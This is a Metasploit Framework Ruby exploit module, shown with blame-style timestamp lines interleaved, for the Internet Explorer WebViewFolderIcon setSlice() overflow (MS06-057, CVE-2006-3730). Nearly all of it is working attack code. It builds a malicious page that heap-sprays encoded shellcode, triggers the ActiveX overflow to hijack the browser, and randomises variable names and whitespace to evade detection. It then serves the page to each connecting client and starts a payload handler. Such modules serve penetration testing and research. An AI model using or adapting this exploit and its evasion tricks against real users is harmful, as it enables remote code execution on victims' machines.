2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2006-09-27 04:01:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
2006-12-17 02:37:45 +00:00
|
|
|
class Exploits::Windows::Browser::MS06_057_WebView_SetSlice < Msf::Exploit::Remote
|
2006-09-27 04:01:22 +00:00
|
|
|
|
2006-12-10 02:55:02 +00:00
|
|
|
include Exploit::Remote::HttpServer::HTML
|
2006-09-27 04:01:22 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a flaw in the WebViewFolderIcon ActiveX control
|
|
|
|
|
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
|
|
|
|
|
during the Month of Browser Bugs project (MoBB #18).
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'hdm',
|
|
|
|
|
],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-27 04:01:22 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
2006-12-17 02:37:45 +00:00
|
|
|
[ 'CVE', '2006-3730'],
|
|
|
|
|
[ 'MSB', 'MS06-057'],
|
2006-09-27 04:01:22 +00:00
|
|
|
[ 'OSVDB', '27110' ],
|
|
|
|
|
[ 'BID', '19030' ],
|
|
|
|
|
[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
|
|
|
|
|
],
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
|
|
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Encode the shellcode
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
|
|
# Get a unicode friendly version of the return address
|
2006-09-27 04:06:33 +00:00
|
|
|
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
|
2006-09-27 04:01:22 +00:00
|
|
|
|
|
|
|
|
# Randomize the javascript variable names
|
2007-03-01 08:21:36 +00:00
|
|
|
var_buffer = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_shellcode = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_unescape = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_x = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_i = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_tic = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_toc = rand_text_alpha(rand(30)+2)
|
2006-09-27 04:01:22 +00:00
|
|
|
|
|
|
|
|
# Randomize HTML data
|
2007-03-01 08:21:36 +00:00
|
|
|
html = rand_text_alpha(rand(30)+2)
|
2006-09-27 04:01:22 +00:00
|
|
|
|
|
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<head>
|
|
|
|
|
<script>
|
|
|
|
|
try {
|
|
|
|
|
|
|
|
|
|
var #{var_unescape} = unescape ;
|
|
|
|
|
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
|
|
|
|
|
|
|
|
|
|
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
|
2007-02-11 22:37:44 +00:00
|
|
|
while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;
|
2006-09-27 04:01:22 +00:00
|
|
|
|
|
|
|
|
var #{var_x} = new Array() ;
|
2007-02-11 22:37:44 +00:00
|
|
|
for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
|
|
|
|
|
#{var_x}[ #{var_i} ] =
|
2006-09-27 04:01:22 +00:00
|
|
|
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
|
|
|
|
|
var #{var_tic} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
|
|
|
|
|
try { #{var_tic}.setSlice( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
|
|
|
|
|
var #{var_toc} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
} catch( e ) { window.location = 'about:blank' ; }
|
|
|
|
|
|
|
|
|
|
</script>
|
|
|
|
|
</head>
|
|
|
|
|
<body>
|
|
|
|
|
#{html}
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
2006-09-27 04:06:33 +00:00
|
|
|
# Randomize the whitespace in the document
|
|
|
|
|
content.gsub!(/\s+/) do |s|
|
|
|
|
|
len = rand(100)+2
|
|
|
|
|
set = "\x09\x20\x0d\x0a"
|
|
|
|
|
buf = ''
|
|
|
|
|
|
|
|
|
|
while (buf.length < len)
|
|
|
|
|
buf << set[rand(set.length)].chr
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
buf
|
|
|
|
|
end
|
|
|
|
|
|
2006-09-27 04:01:22 +00:00
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
2006-12-10 03:26:53 +00:00
|
|
|
send_response_html(cli, content)
|
2007-04-04 04:34:17 +00:00
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
2006-09-27 04:01:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
